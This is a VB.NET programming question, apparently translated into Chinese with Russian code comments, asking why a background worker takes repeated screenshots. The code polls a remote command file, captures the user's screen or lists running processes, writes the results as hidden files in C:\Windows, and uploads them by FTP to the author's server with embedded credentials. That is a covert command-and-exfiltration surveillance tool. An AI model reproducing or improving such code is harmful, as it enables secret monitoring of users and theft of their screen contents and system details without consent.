我是VB.NET的新手,我正在制作一个项目,其中我需要放置远程程序控制,例如:用户在他的计算机上启动程序,当我在计算机上单击按钮时,程序在用户计算机将做一些工作,例如进行屏幕截图。我试图用backgroundworker和线程做这个,但程序开始做多个截图而不是一个。我可以把循环放在线程中但是我将无法阻止它,当然在整个程序运行期间需要这种控制。
Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles MakeScreen.DoWork
Dim screen1 As String
Dim prcs As String
Do Until screen1 = "1" Or prcs = "1"
Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://mysite/cmd/cmd.txt")
Dim response As System.Net.HttpWebResponse = request.GetResponse
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
screen1 = sr.ReadLine
prcs = sr.ReadLine
Loop
'''''Screenshot section '''''
If screen1 = "1" Then
Try
'Do While ssCount < 1
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
PictureBox1.Image.Save("C:\Windows\" + "reqss-" + reqss.ToString + ".png", System.Drawing.Imaging.ImageFormat.Png) 'Сохраняем
File.SetAttributes("C:\Windows\" + "reqss-" + reqss.ToString + ".png", attribute) ' Делаем скрытым
Try
'My.Computer.Network.UploadFile("C:\Windows\" & "reqss-" & reqss & ".png", "ftp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png", "username", "pass")
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("frp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("username", "pass")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\" & "reqss-" & reqss & ".png")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
Catch ex As Exception
MsgBox(ex.Message)
End Try
reqss = reqss + 1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
'Loop
Catch ex As Exception
'Nothing
End Try
End If
''''' End of section '''''
''''' Processes section '''''
If prcs = "1" Then
'Получаем процессы
reqprcs.Clear()
Dim pProcess() As Process = System.Diagnostics.Process.GetProcesses
For Each p As Process In pProcess
Try
'ProcessList.Items.Add(p.ProcessName)
'ListBox1.Items.Add(p.MainModule.FileName)
reqprcs.Add(p.MainModule.FileName)
Catch ex As Exception
End Try
Next
'Записываем процессы в файл
Try
Dim W2 As New StreamWriter("C:\Windows\rqprcs-" & reqprcscount & ".txt")
For i = 0 To reqprcs.Count - 1
W2.WriteLine(reqprcs.Item(i))
Next
W2.Close()
'File.SetAttributes("C:\Windows\0beforegame.txt", FileAttributes.ReadOnly) ' Делаем read only
File.SetAttributes("C:\Windows\rqprcs-" & reqprcscount & ".txt", FileAttributes.Hidden) ' Делаем скрытым
Try
'My.Computer.Network.UploadFile("C:\Windows\rqprcs-" & reqprcscount & ".txt", "ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt", "user", "pass")
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("user", "pass")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\rqprcs-" & reqprcscount & ".txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
reqprcscount = reqprcscount + 1
MakeScreen.Dispose()
MakeScreen.RunWorkerAsync()
Catch ex As Exception
MsgBox(ex.Message)
End Try
Catch ex As Exception
End Try
End If
''''' End of section '''''
End Sub